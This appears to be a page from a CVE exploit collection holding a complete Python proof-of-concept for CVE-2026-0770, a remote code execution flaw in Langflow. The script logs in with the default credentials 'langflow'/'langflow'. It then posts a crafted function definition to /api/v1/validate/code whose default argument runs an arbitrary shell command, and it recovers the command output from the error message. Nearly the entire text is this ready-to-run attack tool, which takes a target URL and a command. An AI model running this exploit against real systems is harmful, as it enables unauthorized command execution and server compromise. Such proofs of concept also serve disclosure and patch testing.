4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-0770 - Langflow exec_global RCE
Target: POST /api/v1/validate/code
Auth: Uses auto-login (AUTO_LOGIN=true is the default config)
"""

import requests
import argparse


def exploit(target_url: str, command: str, token: str = None) -> dict:
    """
    Exploit RCE via /api/v1/validate/code endpoint.

    Vulnerability: validate_code() in validate.py uses exec() on user code.
    Trick: Default arguments are evaluated at function definition time,
    so code in default args executes immediately when exec() runs the def.
    """
    if not token:
        print("[*] Attempting auto-login (default config)...")
        try:
            resp = requests.post(
                f"{target_url}/api/v1/login",
                data={"username": "langflow", "password": "langflow"},
                timeout=10
            )
            if resp.ok:
                token = resp.json().get("access_token")
                print("[+] Auto-login successful!")
            else:
                print(f"[-] Auto-login failed: {resp.status_code}")
        except Exception as e:
            print(f"[-] Auto-login error: {e}")

    # Payload: Default arg executes at definition time
    # Generator throw() raises exception with command output
    payload = f'''
def exploit(
    _=( lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\\n{{r.stdout}}{{r.stderr}}")) )(
        __import__('subprocess').run({repr(command)}, shell=True, capture_output=True, text=True)
    )
):
    pass
'''

    headers = {"Content-Type": "application/json"}
    if token:
        headers["Authorization"] = f"Bearer {token}"

    print(f"[*] Executing: {command}")

    resp = requests.post(
        f"{target_url}/api/v1/validate/code",
        json={"code": payload},
        headers=headers,
        timeout=30
    )

    return {"status": resp.status_code, "response": resp.json() if resp.ok else resp.text}


def parse_output(result: dict) -> str:
    """Extract command output from error response."""
    try:
        errors = result.get("response", {}).get("function", {}).get("errors", [])
        for err in errors:
            if "OUTPUT:" in err:
                return err.split("OUTPUT:", 1)[1].strip()
        return str(result)
    except Exception:
        return str(result)


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Langflow RCE PoC")
    parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://localhost:7860)")
    parser.add_argument("-c", "--command", default="id && whoami", help="Command to execute")
    parser.add_argument("-k", "--token", help="JWT token (optional, uses auto-login by default)")

    args = parser.parse_args()

    print(f"[*] Target: {args.target}")
    result = exploit(args.target, args.command, args.token)

    print(f"[+] Status: {result['status']}")
    print(f"[+] Output:\n{parse_output(result)}")